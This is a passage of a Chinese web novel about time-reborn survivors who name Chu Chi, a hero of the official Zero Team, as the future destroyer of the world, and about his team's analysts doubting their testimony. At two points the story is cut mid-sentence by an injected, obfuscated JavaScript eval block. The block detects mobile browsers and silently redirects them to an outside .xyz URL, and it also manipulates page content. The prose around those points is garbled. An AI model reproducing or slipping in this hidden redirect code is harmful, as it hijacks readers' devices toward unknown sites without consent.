十年后的世界以一种所有人始料不及的速度疯狂奔向毁灭,人类的生存空间被急剧压缩,而在那最终的“毁灭日”到来前,一些强大的异能者联手通过某种手段,将合适的城市与岛屿托至高空,改造成可容纳数千万普通居民的三座基地,被称为方舟一至三号。 于是幸存的多数人类逃离了陆地,选择生活在天空。 而像杜安歌这样没赶上撤离的“不幸者”,只能在地面苟延残喘,在各个小型据点之间流窜,争夺每一口发霉的面包、每一滴干净的水。 那天,他刚和一群混混打了一架,怀里死死护着早就过生产日期的袋装面包,在雨雾中狂奔。 世界早已失去秩序,红绿灯也早已熄灭,街道上一片空空荡荡,毫无生机,只剩下锈蚀的建筑残骸和破碎的满地玻璃。 可偏偏,在十字路口的斑马线上,站着一个打伞的男人。 他静静地伫立在那里,仿佛仍在遵守早已失效的交通规则,等待一个永远不会亮起的绿灯。 雾气模糊了他的轮廓,让他看起来像是一道从旧世界投射过来的幻影。 杜安歌本想直接冲过去,可就在擦肩而过的瞬间,那人突然开口了。 “这款面包味道怎么样?” 声音平静得诡异,就像是在某个阳光明媚的早晨,随口和邻居闲聊。 杜安歌脚步一顿,喉咙发紧。 现在哪还有什么“味道”?食物只是维持生存的燃料,腐烂的、发酸的、掺了各种泥粒的——能咽下去就不错了。 但他没说出来,只是警惕地后退两步,手指不自觉地摸向腰间的匕首。 伞檐微微抬起,露出一张陌生却又莫名熟悉的脸——栗色的头发,琥珀色的眼睛,戴着一副过时的黑框眼镜,普通得像是某个被遗忘在旧时代的上班族。 可杜安歌的神经却绷紧了。 “别紧张,我只是来看看。”男人笑了笑,眼神诚恳得近乎天真,“所以,这款面包很难吃?” “……糟糕透顶。”杜安歌低声回答。 男人沉默了一瞬,嘴角微微抽动,像是在压抑某种复杂的情绪。 “本该早就毁灭的世界,就是因为某些人的负隅顽抗,才导致那么多无辜人饱受威胁。”他轻声呢喃,随后又问,“那么,在这样的世界里,你还会感到幸福吗?” 幸福?杜安歌几乎要冷笑出声。在这个地狱里,连“活着”都是一种折磨。 “没有。”他咬牙道,手指已经扣紧了刀柄,越发觉得面前的这人有些精神问题。 男人点了点头,琥珀色的瞳孔深处缓慢地渗出一丝猩红。 “所以,我果然可以帮你。”他说,“我可以帮你们彻底解脱。” 杜安歌的瞳孔骤然收缩,强烈的本能驱使他快跑,但另一股直觉却让他留在了原地,逼迫他开口询问。 但是,问什么呢? 他不清楚,他只知道自己的指节因用力而泛白,面包的包装袋在他掌心里发出细微的碎裂声。 “……不,不用了,多谢。”他最后还是屈服于恐惧与本能,咬着牙后退,鞋跟碾过积水,溅起浑浊的水花。 活着总比死要好,哪怕这个世界已经腐烂发臭,哪怕每一天都要忍受饥饿、恐惧和绝望。但只要还活着,就还有可能等到希望。 说不定未来的某天,高悬天空的三座“方舟”会重新落地,荒芜的街道会再次被笑声填满,而他们也能再一次有家可回。 打伞的男人忽然笑了,那笑容像是冰层裂开一道缝隙,底下涌出的是某种近乎怜悯的寒意。 “天真。” 他的声音很轻,却透着凛冽而锋利的杀意。但下一秒,男人的语气又诡异地柔和下来,仿佛在哄一个不懂事的孩子。 “跑吧。”他微微偏头,伞沿的雨水串成珠帘,滴滴答答落下,“带上你在乎的人,逃出这座城市——这是你们唯一能活命的机会。” 杜安歌的呼吸停滞了。 男人摘下了眼镜。 那一瞬间,琥珀色的瞳仁像是被血浸透,栗色的发丝以肉眼可见的速度褪成灰白,如同燃烧殆尽的余烬。 现在站在杜安歌面前的,是那张被刻进所有幸存者噩梦里的脸—— 摧毁无数座城市、像碾碎蚁穴一样夷平地面据点的“人形天灾”。 杜安歌的大脑一片空白。 等他回过神来时,双腿已经不受控制地狂奔起来,鞋底拍打着潮湿的沥青路面,溅起的泥水打湿了裤脚。 这座废墟之城曾经死过一次。 侥幸逃生的幸存者们像老鼠一样爬回来,在裂缝里筑巢,在阴影中苟活,幻想着有朝一日能重建家园。 但现在,一切都结束了。 那个人找到了他们。 ——而他要做的,从来不是救赎。 杜安歌在雨中狂奔。 他没有亲人与朋友需要警告,求生的本能驱使着双腿,让他在倾盆大雨中化作一道模糊的影子。 雨水混合着汗水流进眼睛,火辣辣的疼。 地面开始震颤。 起初是细微的振动,像是远处传来的闷雷,但很快,整条街道都开始战栗。身后早已化作残骸的建筑物开始二次坍塌,恐怖的轰鸣声划破雨幕。 他开始听到一些此起彼伏的声音,像是恐惧的尖叫,愤怒的咆哮,或许还有哀嚎与呻吟,但那些声音消失的都很快。 非常快。 就像是恍惚了一下,所有的一切都消失了。 余光里,有什么东西正在撕裂地平线。 那是一片如海浪般汹涌的白浪,在灰暗的雨帘中肆虐开来。 而在白浪即将吞没他的前一刻,杜安歌闻到了一种混合着金属、浮尘与血腥的气味,说不上来是这座城市残骸的腐朽气息,还是……死亡的味道。 ——就像此刻。 杜安歌猛然惊醒,瞳孔骤缩,死死盯着被鼠群撞击得摇摇欲坠的门板。 他这才真切地意识到——自己真的回到了十年前。 现在、现在的情况是……杜安歌的额角开始流冷汗,他与同为重生者的另外两名同伴进入鬼屋,与某个神秘人见面,但疑似中了陷阱,被异种“死鼠群”困在了某个封闭房间。 他的呼吸略微急促,心跳格外剧烈。 可能是鬼屋工作人员说“楚池就在这里”,导致他开始恍惚,居然想起了那一天的事。 与未来楚池遇见的那天,诡异的“白浪”没能吞噬他。在废墟之城崩塌的最后一刻,他成功逃出那座塌陷的城市废墟。但是在八年后,他还是死于“楚池”所掀起的战争中。 死之前,仿佛再一次闻到了那股“白浪”的气息,如同冰冷的死亡…… 不对! 杜安歌猛得回过神,刚才那不是错觉! 那股诡异的气息,就在这个房间! 他左右看向同伴,只见那女生与另一个小辫男生同样脸色惨白,互相对视一样,确认了猜想。 那个楚池在注视这里! 他的能力已经释放! 那种复杂的,极具特性的味道,如同金属的锈腥混杂着浮尘,裹挟着若有若无的血气,像是垂死的城市残骸,又像是绝望中迎来的死亡,但凡闻过一次,这辈子就不可能忘记! 它从门缝渗入,在密闭空间里无声蔓延,蚕食着每一寸空气。 杜安歌与其余两人不约而同地缓慢后退,相比门外疯狂撞击的畸形老鼠,他们更恐惧于那代表着“死亡”的气息。 突然,那个鬼屋的工作人员抽了抽鼻子,也意识到了什么,“这是啥味,好像有些熟悉,谁喷香水……等等!我想起来了!楚哥百科介绍栏里提到过这种特殊气味,还有该味道出现的原因!让我想想,好像是面对某种情况时常用的能力,等等,这个能力叫什么来着……” 与此同时,杜安歌听到旁边的眼镜女生喃喃自语:“那个人在遇到大量敌人时,最喜欢使用的一种范围性群攻能力,所到之处全部化作灰尘,活物,死物,全都消失得干干净净,就像是一片海浪。这种能力,被我们称为……” “【白灾】。” “——【神奇技能第五式·白寂天灾】!” 她的低喃与鬼屋工作人员兴奋的尖叫同时响起。 空气陷入某种微妙的静默。 就在这时—— “砰!” 门板在一声爆响中四分五裂,恐怖的畸形鼠群嘶叫着涌入。 刹那间,室内凝滞的氛围被打破,那股始终像风一样在室内懒洋洋游动的特殊气息突然暴起,如同被惊醒的凶兽,裹挟着冰冷的杀意在空气中炸开,甚至隐隐显露出了某种灰白的颜色—— 那一瞬间,在场三位重生者的瞳孔同时收缩,像是被激起了某种本能,脑海中不受控制地闪过未来的画面: 高悬于空中的男人,冰冷的眉眼,猩红的瞳孔,以及……朝他蜂拥而去的数万人类。那是一场战争,一场数万人围剿一人的战争。 可那个人只用了一招,就结束了战争。 ——白色的浪潮,像海啸般一层层涌来。所过之处,人类、生命、甚至虫蚁杂草,全部被吞噬殆尽。最终留下的,只有漫天飘散的灰烬,死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496033|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂得令人毛骨悚然。 而现实里,那股几乎不再透明的气流同样铺天盖地地席卷开来,以一种恐怖的速度冲向鼠群,将其恶狠狠地碾碎,在地面留下一片片猩红的残肢血迹。 而后,那片“白浪”开始扭转方向,像是在冷冰冰地审视室内的四人,而后以同样凶猛而恐怖地冲向他们,裹挟着冰冷的金属与刺鼻的血腥味—— 杜安歌猛得后退半步,呼吸停滞,可反应速度远远比不上袭来的“白浪”。 在那一瞬间,他甚至什么也没想,只是感受着曾经亲身体验的死亡气息,再一次降临,而后…… 从他面前轻飘飘地掠过。 “……” ……等会。 杜安歌终于反应了过来,他这会已经瘫软在地,大脑像是终于意识到自己还活着,正在疯狂喘气。 旁边的同伴也露出居然还活着的不敢置信的表情。那个抓着小辫疑似文艺男大学生的男生颤抖着手摸脸,摸手臂,摸索全身,像是在确认自己的身体完整,看起来就像是要哭出来一样。 “……我差点以为自己要死了。”那个眼镜女生低语,声音很轻,带着点沙哑。 而原本坐在墙角的工作人员却拍拍裤子站起来,精神健康的不得了,甚至堪称亢奋,“你们怎么回事,怎么都坐地上了?快起来快起来!现在还有机会要到楚池签名!快冲啊!” 包括杜安歌在内的三名重生者艰难地看了眼那名工作人员,不约而同地想: 不了不了,他们不配要签名。 就在他们扶着彼此站起来时,小辫男的手机突然响起刺耳的消息铃声。 他手忙脚乱地按住音量键,“我记得我静音的!” 话音未落,他的动作突然凝固,瞳孔不自觉地紧缩,像是看到了什么恐怖的东西。 杜安歌和眼镜女生下意识凑近,却在看清内容的瞬间,感到一股寒意顺着脊背爬上来。 【你们好,或许你们需要一点帮助。】 ——非常具有既视感的消息,上一条类似的消息,就是把他们骗来鬼屋,害得他们差点成为那群畸形老鼠的盘中餐。 那这一次呢? “操,又是这招!妈的骗子!”小辫男咬牙切齿,拇指狠狠按向关机键。 屏幕却突然疯狂闪烁: 【我不是骗子。】 【我是那个冻结你们八个账号,】 【删了你们38条帖子,】 【顺便帮你们拦住五次黑客攻击的人。】 【我是宗保。】 【当然,你们也可以称呼我的代号,“默客”。】 【明早七点,异常监管局总部大楼,八楼监察部会客厅见。】 【顺便一提,你们今晚吃点好的,早点休息,脸色好难看。】 每条信息都像一记重锤,砸得三人呼吸凝滞,但在最后一条消息跳出时,三人纷纷回过神来,疑神疑鬼地开始扫视整个房屋,仿佛阴影中的每一处缝隙都藏着窥视的眼睛。 那是一种无声无息,又透着平静漠然感的“注视”。 * “所以夜宵吃什么……阿嚏!” 楚池猛得打了个喷嚏,感觉今晚的风好像有些凉。 清除完鬼屋里的所有异种老鼠后,他就在大量粉丝赶来前飞速溜了。 现在正在某个夜市里,给总部里的零队大家带夜宵。 群聊室里闹闹哄哄。 【默客:嘻嘻,五分甜冰西瓜汁。烧烤的话,就牛肉羊肉各十串,两串土豆片,再来个馍馍,我晚饭还没吃。对了,你背后是卖小金鱼的,帮我捞几条回来。】 【三也:捞金鱼?滚呐!】 【夏禾玉(副队长):一份烤冷面,微辣。顺便,我们中午的事还没吵完,回来去训练室打一场(微笑)@三也】 【我就是凤凰:小白小白!我想喝奶茶,芒果椰椰,七分甜正常冰,然后然后,我看到你后边有家卖帽子的!我喜欢最中间那条——】 【三也:我才不去@夏禾玉,沈队你瞅瞅这人。@我就是凤凰,可以,等会给你买。】 【默客:我的金鱼……(流泪猫猫头.jpg)】 【沈无惑:别在外面逛太久,买完夜宵就回来吧。胡天洋他没在总部,他朋友结婚,去吃酒席了。青寂说他今晚禁食,所以不用给他们两个带。还有,路上注意安全,不要往奇怪地方跑。】 【三也:行,所以你想吃什么?@沈无惑】 【沈无惑:都可以,随你。】 …… 楚池瞪着那个“都可以”的词,凝重地重新翻了翻今晚的沈队消息,惊恐地发现这人今晚的语气明显不对劲……等等,这种感觉,应该是慈祥吧?是慈祥吧?!可沈无惑今年才三十刚出头啊?! 楚池倒吸一口凉气, 沈队再这样跳跃性给自己增龄……他们是不是快要有代沟了啊? 5. 怀疑自己在做梦的楚 清晨六点,异常监管局总部大楼前。 太阳刚刚升起,还未彻底明亮的天空泛着晨曦的暖色调,有鸟雀叽叽喳喳地在路边枝头响起,带来全新一天的气息。 杜安歌和他的另外两名同伴却已经站这栋楼前快半小时了,身后骑着三轮车路过的小贩呦呵着“饭团豆浆油条煎饼果子咯……” 小辫男扭头就走:“我要去买个饭团。” 眼镜女生头也不回地拽住他,“冷静,你早上已经吃了两个饭团了。” 而杜安歌正仰头望着那座高耸入云的建筑,玻璃幕墙反射着晨光,刺得他眼睛发疼。 他还是觉得一切都发生的太快,感觉上一秒还在和大boss作对,下一秒就看到大boss站在好人阵营,笑着朝自己挥手,其同伴还给自己这些人发来友好交涉的邀请……勉强,算是邀请吧。 “虽然还早,但先进去吧。”眼镜女生推了推镜框,先一步走向大楼,“无论如何,官方……零队他们已经给出了友善的态度,我们必须进行交涉。” 杜安歌跟在后头,顺势拽着疯狂挣扎的小辫男往大楼里走。 大厅空荡荡的,人很少,偶尔碰见的人都看起来忙忙碌碌,没有理会他们。 只有一台圆头圆脑的引导机器人滑过来,电子屏上跳出一个笑脸:【早上好,访客们~请跟我来~】 三人面面相觑,跟着机器人走向电梯。 电梯需要刷卡,但八楼的按钮却自动亮了起来。 电梯即将关闭时,突然一只脚卡在了电梯门之间。 杜安歌,眼镜女生,甚至连引导机器人都同时看向那个小辫男。 “……”小辫男深吸一口气,认真道:“我想上个厕所。” 眼镜女生推眼镜:“你要不还是去买个饭团吧。” 杜安歌无语:“我希望你们不是因为紧张而开始胡言乱语。” 引导机器人:“哈哈。” 电梯门悄无声息地闭合,显示屏上的数字开始飞速跳动,或许是现在时间还早,中途基本没有停下,最终在八楼发出“叮”的一声轻响。 “亲爱的访客们,八楼到了~” 引导机器人热情说完,电梯门无声开启。 八楼走廊尽头,一个穿着黑色卫衣的卷发青年正倚在窗边打哈欠。 听到脚步声,他懒洋洋地转过头,黑眼圈重得像是被人揍了两拳,头发乱糟糟地支棱着,手里还捧着杯喝了一半的冰美式。 “比我预估的早了很多,”卷发青年挠了挠乱发,声音带着没睡醒的沙哑,“吃早饭了吗?” 小辫男很紧张,条件反射道:“我吃了两个饭团!” 卷发青年夸赞道:“哇,好胃口。顺便说一声,今天中午食堂有糖醋排骨。” 这开场白太过日常,三人一时不知如何接话。 卷发青年也不在意,慢吞吞地领着他们往小型会客厅走:“别紧张,就是随便聊聊关于你们在论坛发的那些‘预言帖’,希望等会你们不要撒谎或者隐瞒什么,要知道从某种意义上,我们有着共同的目的。哦对了,我就是默客。” 眼镜女生若有所思,与杜安歌对视一眼,纷纷确认了对方也有着相似的猜测。 会客厅走廊口,卷发青年停下脚步:“三位分开聊吧,效率高点。” 小辫男颤颤巍巍举手:“那个,请问厕所……?” 卷发青年盯了他一会,把小辫男盯得不知所措后才慢吞吞道:“我开始期待等会的对话了,我喜欢和简单的人交朋友。以及,厕所就在会客厅里,请进。” 小辫男迟疑地看向自己同伴,好想问这人是不是在拐弯抹角地说他笨。 还没等他琢磨明白,眼镜女生已经进了左侧会客厅。他一个晃神,就被卷发青年推着跌进了隔壁第二间。 杜安歌望着两个同伴先后消失在门内,喉结滚动了下,终于也被领向走廊尽头那间会客室。 走入房间前,他最后与自称“默客”的卷发青年对视一眼。 那一瞬间,杜安歌不知为何,总感到有些不安。 直到彻底关上会客厅的门后,他才缓慢地呼出一口气。 阳光透过百叶窗在地板上投下斑驳的光影。 空旷的会客厅里只有两个陌生人。 一个深灰色西装,金丝眼镜,正坐在沙发上,膝盖上摊开一份文件;另一个化着浅淡的妆,白衬衫黑长裤,正从饮水机那接水。 西装男人闻声抬头,镜片后的目光牢牢注视门口的人。 “杜安歌先生。”他开口,嗓音透着不近人情的冷意,“请坐。” “放轻松,只是随便聊聊。”白衬衫女人适时走近,将一杯热水推到他面前,眼角弯出恰到好处的弧度。 好极了。杜安歌心想,专业团队下场了。 他缓缓吐息,陷进沙发时身体依旧有些僵硬,放在腿上的指节无意识地收紧又松开,向外人述说未来的事情让他有股莫名的恐惧。 “我会告诉你们很多事情。”但最后,杜安歌还是想起了重生后所亲眼目睹的一切,直视着对面两人的眼睛,喉结滚动了一下,“但前提是,你们必须保证我的安全。” 女人的笑容倏地绽开,“当然。” 她笃定道:“世界上不会有第二个地方比这栋大楼更安全。” * 楚池迷迷糊糊睁开眼,发现自己以一种诡异的姿势卡在床和地板之间——上半身完全躺平在地,两条腿还倔强地挂在床沿。 他眨了眨眼,视线里突然出现一张倒着的俊脸。 “……沈队?”他声音还带着浓重的睡意,“你在我房间干嘛?今天可没有任务。” 沈无惑正在专注地注视手机屏幕,头也不抬地说:“有紧急情况,赶紧洗漱,然后跟我走。” 楚池还未彻底清醒,身处安全的环境,他的警惕性似乎跟着脑子一块消失了。 被沈无惑催促第二遍后,他终于抱着被子哼唧了两声,慢吞吞地爬了起来,却被缠在腿上的被子绊了个踉跄。 “所以……具体是什么事?”他单脚蹦跶着往裤管里钻,语气里还带着刚睡醒的含糊。 显然,他压根没把这次的“紧急情况”当回事,要知道通常情况的“紧急情况”是框框敲门和滴滴滴狂响的警铃,至于沈无惑口中的“紧急情况”……原谅他吧,一个控制狂习惯把一切小事放大。 “有人预言了我们的未来。”沈无惑起身,顺手把皱巴巴的衬衫扔给他,“监控室那边已经等你十分钟了。” 楚池边系扣子边往卫生间冲,再出来时牙刷在嘴里捣出一串白沫,“预言?那玩意儿跟星座运势有什么区别?信这个不如信我是上帝。” 沈无惑抄起桌上的文件一卷,不偏不倚砸中了楚池乱糟糟的脑袋。 “上帝,收拾一下你的头发。” “多谢提醒,上帝保佑你今天有好运。” * “钟老师您好,请坐这里,对对,您只需要负责这一位年轻人就行……” “王老,您需要喝点什么吗?” “……是,是的,很抱歉麻烦你们了,这次事件很严重,是非常特殊级别的,需要签保密协议……是的很抱歉……” “谁家的小屁孩,理论知识都不完善,滚出去!” “特么的胡大军你说什么!我教出的怎么了!还有脸说我学生,你瞧瞧你家的,怎么连这仨被催眠的可能性都说出来了!?” “现在是异能时代!催不催眠的,那玩意叫心灵操控系异能!你去问搞玄学的,这玩意就是有啊!” “这个,老道擅风水驱邪,灵魂方面的实在不擅长……” 当楚池走进监控室时,差点被里面吵吵闹闹的动静吓了一跳。 大白天的,室内窗帘紧闭,刺眼的顶灯下挤着几十号忙忙碌碌的人影。 楚池穿过人群往窗边走去,余光扫见一颗卷毛脑袋正小鸡啄米似的一点一点往下坠,眼看就要彻底栽进键盘里。 他假装漫不经心地晃过去,突然抬手就往那颗卷毛拍去,结果对方后脑勺像长了眼睛似的,头都没抬,反手就把一块巴掌大的平板甩进他怀里。 “终于来了吗,上帝。” 那人打着哈欠,慢吞吞抬起头来。 楚池:“?” 他不敢置信道:“不是,你变态啊宗保,连我卧室都放监控?” 宗保一手撑着脑袋,困倦的脸上露出一抹无辜的表情,“你知道的,我一秒没看到你们,我就会不安得睡不了觉。” 楚池吐槽:“你个骗子,你就算每时每刻盯着我们,也不可能每天都睡觉。” “我已经在无人察觉的时候,偷偷进化掉了睡眠。”宗保打了个哈欠,看到正端着保温杯走过来的沈队,便从身后又摸出一个小型平板递过去,“相关的资料已经传输进去了。” “好的,麻烦了,这个给你。”沈队给完保温杯,继续往拥挤的人群里走去。 “所以到底发生了什么?”楚池困惑地打开平板,三张照片自动投影在半空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496034|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的宗保打开保温杯,看到里面的枸杞菊花茶,顿时痛苦地闭上眼睛,“咖啡……我需要冰咖啡……” 与此同时,楚池点击了第一张图片。 【杜安歌:男,26岁。父母离异,康南省xx市xx村长大,由祖父祖母抚养。毕业于xx大学……】 一段视频突然自动播放,画面里的瘦削青年在镜头前冷静开口: “……2073年,那是他第一次现身。是的,在我记忆里那是他第一次出现在大众视野中,当时世界秩序还未彻底崩塌,大多数城市里还很安全。而他带领数万异种,直接摧毁了临海城市……当然,我就在现场,我能看到有很多都是鸟类异种,有一些已经腐烂……” “我们将他称为[天灾],是因为他完全不接受任何谈判,甚至连交流都不愿意……虽然我的确和他偶然碰见过,但感觉到的就是神神叨叨,他厌恶秩序崩塌后的世界,即使那就是他所带来的结果……是的,具有情感,虽然很古怪……” 【庄晴:女,25岁。父母健在,父亲xxx,母亲xxx,抚安省xx市xx村长大,毕业于xxxx】 “……他很少露面,他有很多追随者,一半是人类,一半是异种……是的,异种会进化,而我们那时的异种智慧程度已经丝毫不逊于人类,它们是主动追随他并甘愿为他付出生命,他可能是能完美拟人的高阶异种。” 画面里的年轻女性推了推镜片,“我建议你们再给他做个基因检查……他那么强,说不定是基因突变。我不确定这个时候你们知不知道异种的出现,会导致附近体质较弱的人类出现污染异化……” 【孙莫:男,24,父母……】 “我们哪知道啊……未来的图书馆早成废墟了,十年前的纸质资料?可能都烂在地下了吧……啊不对,也可能是飘在天上。对,我们那时候有三座方舟,就是飘在天空上的大型基地,里面可能有关于十年前发生了什么的资料……” 一个留着小辫的年轻人挠头苦思,“是否见过那个人?这不是废话吗,未来谁没见过他?……啊?对话,不不不,没人敢去和他交流,要知道他经常做的事就是上一秒还笑着和人说话,下一秒就砍掉那个人的腿让他在地上爬……” “……好吧,你们猜对了,我的确来自天空的方舟,但特么的说实话,图书馆是封闭的,所有关于十年前的重要情报全部被封锁,我们也没有相关的记忆。网络科技?哦,有的,但需要权限……等等,我好像记起来了,我曾经有个去地面调查的朋友,他临死前给我发了条消息,说是那个人像是在找些什么人。” …… …… “所以,未来会有一个非常危险的敌人毁灭世界?等等,他们是不是都没有说出那个人的名字?” 楚池回看了好几遍都没听到一个具体的名字,不由有些纳闷。 还在盯着枸杞菊花茶发呆的宗保回过神,说:“你知道的,未来会发生的事具有很强的不确定性,信那个还不如信你是上帝。” “谢谢,但我还是想知道名字。” 宗保挠了挠头发,把保温杯塞进楚池手里,“好吧,你先喝口水压压惊。” 宗保古怪的反应让楚池产生了一点不祥的预感。 楚池喝了口枸杞菊花茶,冷静道:“我准备好了,说吧。” 宗保:“是上帝。” 楚池:“……” 他迟疑地问:“隔壁的神显灵了?” 宗保耸肩:“你懂的,如果上帝真的存在,我们就不会开这种玩笑。” 楚池:“……” 他愣了好几秒才反应过来“那个人”是自己,但此时大脑依旧是空白的。 “我一定是还在做梦。”楚池愣愣道,转身就往门口走,“我要去跳个楼让自己醒来。” “你走反了,窗在这边。”宗保抬了抬下巴,示意他左手边的窗户。 “哦,谢了。” “对了还有,”宗保拦住道:“回来的时候顺便帮我带杯咖啡,冰的。” 楚池:“……” 沈无惑一边翻阅那三名重生者的档案,一边头也不抬地挤出监控屏幕前的人群,“楚池,你认为这三人口中的那人与你的相似度有多高?” 他一抬头,就看到原本楚池和宗保所在的地方空空如也。 “他们人呢?”沈无惑问旁边的人。 “楚哥拉着默客先生跳楼去买咖啡了。”那人说。 沈无惑扭头看向被风微微吹动的窗帘,缓缓打出一个问号。 6. 他从来不伟大 “他第一次出现是在2073年,也就是十三年后的未来。但根据这三人的口述,2073年之前,没有任何关于他的记录。同样,十三年后的人们对[楚池曾是零队成员]这件事也毫无印象,甚至连‘零队’这个概念都彻底消失了。在他们的认知里,二十年前的灵气复苏和异种危机的确出现了,但‘零队’从未存在过。这点很奇怪,要知道那些年S级甚至SS级的异种层出不穷,假设并不存在一个由尖端战力组成的、机动性极强的特殊队伍,怎么可能还能维持二十多年的秩序稳定?” “要么是某种力量强行抹除了未来全体人类关于零队的记忆,要么是有人刻意篡改了那三位未来使者的记忆,再把他们扔回我们这个时间点……为了某种不可告人的目的。而我更偏向后者。” “为什么不考虑平行时空?如果是另一个世界线的未来,也许成立的是类似[零队]但名称不同的特殊队伍,而楚池也说不定在那边完全变成了另一副模样。” “还有一种可能,问题出在楚池自己身上。催眠、精神操控,或者某种不得已的苦衷?” “一个人的变化不可能会那么大,我还是认为这三人口中的[灭世者]并不是楚池,而是一个会变形的异能者在冒充他。” “预知能力确实存在,这点毋庸置疑。但‘来自未来’这个说法……实在是不可信。他们完全可以提前串供,以此离间我们和楚池,分裂零队,削弱人类方力量——这点听起来很熟悉不是吗?反派联盟那边常用的手段。” …… 楚池出去绕着大楼飞了几圈,大楼西面和东面都是公园,吹来的风还算清爽,将他那些乱七八糟的念头吹散了大半。 回来时,他顺手把蹲在二楼咖啡厅门口发呆的宗保拎了回来,这家伙怀里还抱着满满一袋冰美式,看样子是打算今天拿咖啡当水喝。 监控室里的情形和他离开时几乎没什么两样。 十五分钟前,那帮人正吵吵嚷嚷地分析着重生者的证词;十五分钟后,争论的内容已经变成了“重生者根本不存在”“这绝对是场阴谋”“楚哥怎么可能变成那样肯定是被人控制了”之类的车轱辘话。 宗保重新陷进转椅,三面显示屏的冷光在他脸上投下阴影。他叼着吸管喝咖啡,眼皮懒懒地耷拉着,仿佛随时能在附近的争吵声中睡去。 楚池环视一圈,锁定了沈无惑的身影。 他凑上前去问:“现在什么情况?” 沈无惑将笔记本转向他,屏幕上挤满密密麻麻的分析段落,“你觉得这些侧写和你可能的未来形象吻合吗?” 楚池瞪着那些文字看了半晌,干笑一声:“你知道的,我只有在打游戏时才会大杀四方。” 未等沈无惑回应,一旁的分析员突然拍案而起:“新推测!或许是某种力量让未来的灭世者把现实当成了游戏!” 楚池扭头看沈无惑:“……灭世者?” 沈无惑低头打字:“不用管,代号而已,方便把你们俩人分开。” 旁边的分析员抽空解释道:“这次被称为cc事件,我们始终认为这三位使者的言论存有多种疑点。放心楚哥,我们中大多数论点都是对你有利的。” 沈无惑继续在笔记本上敲字,语气平淡:“cc是出自你的名字首字母。” 楚池叹了口气,“多谢解释,顺便哥你是不是脑回路跟我们完全没在一块?” “我有在努力跟上了。”沈无惑抬头朝楚池笑了笑,说:“分析还需要些时间,你可以先去后面沙发上休息。” 看着沈无惑重新扎进讨论的人群,楚池磨蹭着往回走,经过宗保时停下脚步:“我刚才就想问了,零队其他人呢?” “又不是生日派对,没必要所有人都到齐吧。”宗保哈欠打到一半,手里未开封的咖啡突然被抽走,顿时睡意全无地瞪大眼睛。 楚池的目光从垃圾桶里已经喝完的那杯咖啡上移开,落在前方半空中显示的三张人像图片,那个瘦高青年的影像清晰,底下那行小字格外清晰——“唯一正面与[灭世者]见过面并进行交流的使者。” “我出去一趟。”楚池的视线从屏幕上的瘦高青年身上移开,朝宗保笑了笑,又从他桌面上取走一杯,“咖啡送我两杯,顺便再帮我个忙,你这个月的甜品我包了。” 宗保瞅瞅人群里的沈无惑,猛不丁抬起两根手指。 楚池点头。 宗保也满意地点头,摆了摆手,示意楚池快走。 于是,等到沈无惑再次从人群里挤出来想找楚池时,就看到宗保正独自一人咬着咖啡吸管发呆。 “楚池呢?” 沈无惑在周围都看不到熟悉的人影。 宗保含糊不清道:“上帝已死。” 沈无惑:“……” 他把手里的文件夹一巴掌呼过去。 * “是这样的,目前我们有三种推测。” “第一,你们并非真正意义上来自未来的重生者。本质上,你们是当下时代的人,只不过记忆被某些人或某个组织篡改,借此来误导我们。” 白衬衫女性语气温和,不带丝毫攻击性,却让杜安歌几乎是条件反射般迅速否认,言辞间满是急切:“可我们知道未来会发生的大型灾害,你们也可以去确认——” “正因如此,第一种推测里才包含了‘某个组织’的可能性。或许在那个组织之中,存在着拥有预言系异能的特殊人物。”她不急不缓地回应,声音轻柔却带着不容置疑的笃定。 这时,一旁身着笔挺西装的男人接过话茬:“第二种推测,你们确实来自未来,不过是来自平行时空。在你们所处的时空里,那位名为楚池的男人,在灵气复苏之后并未走入大众视野,也未曾加入官方组织。而后,因某些未知缘由,滋生出毁灭世界的疯狂想法。” 杜安歌嘴唇微动,想要辩驳,可脑海中却如一团乱麻,一时竟找不到合适的反驳之词,只能怔在原地。 “至于第三种推测,你的确来自未来,且属于我们这个时空。但未来的那个楚池,极有可能受到某种外来力量的影响与干扰,才做出了你口中的那些灭世行为。”西装男继续说道,语气严肃而凝重。 “我们会依据这三种主流推测,展开后续有针对性的深入讨论与细致分析。”白衬衫女性总结道,而后露出温和笑容,“您需要重新泡一杯茶水吗?” 杜安歌沉默良久,没有立刻开口回应。 情感上,他感到一种近乎荒谬的悲哀——这些人宁愿相信一个完美无瑕的幻象,也不愿正视他带来的警示。愤怒在胸腔里灼烧,却又被理智一寸寸浇灭。他们是对的。此刻的楚池站在那里,干净得像是从未沾染过鲜血,而自己,反倒成了打破平静、煽动猜忌的“祸端”。 杜安歌终于开口,声音像是从齿缝间挤出来的:“好,我会配合你们。” 他重重吐出一口气,眼神却陡然锐利,“但有个问题,你们给出的三种推测里,为什么从来没有一种可能是……他本就如此?他只是在扮演一个完美无瑕的英雄角色?” 空气骤然凝固。 “是因为他太强了,所以你们不愿相信他是‘自愿’做出那些事?”他的目光死死落在两人的脸上,不放过任何一丝动摇的痕迹,“还是说……你们也在害怕?害怕那个英雄从未存在?” 白衬衫女性的脸上笑容微微淡去,她凝视着杜安歌,指尖在身旁的文件边缘摩挲片刻,终于将那份档案推向杜安歌。 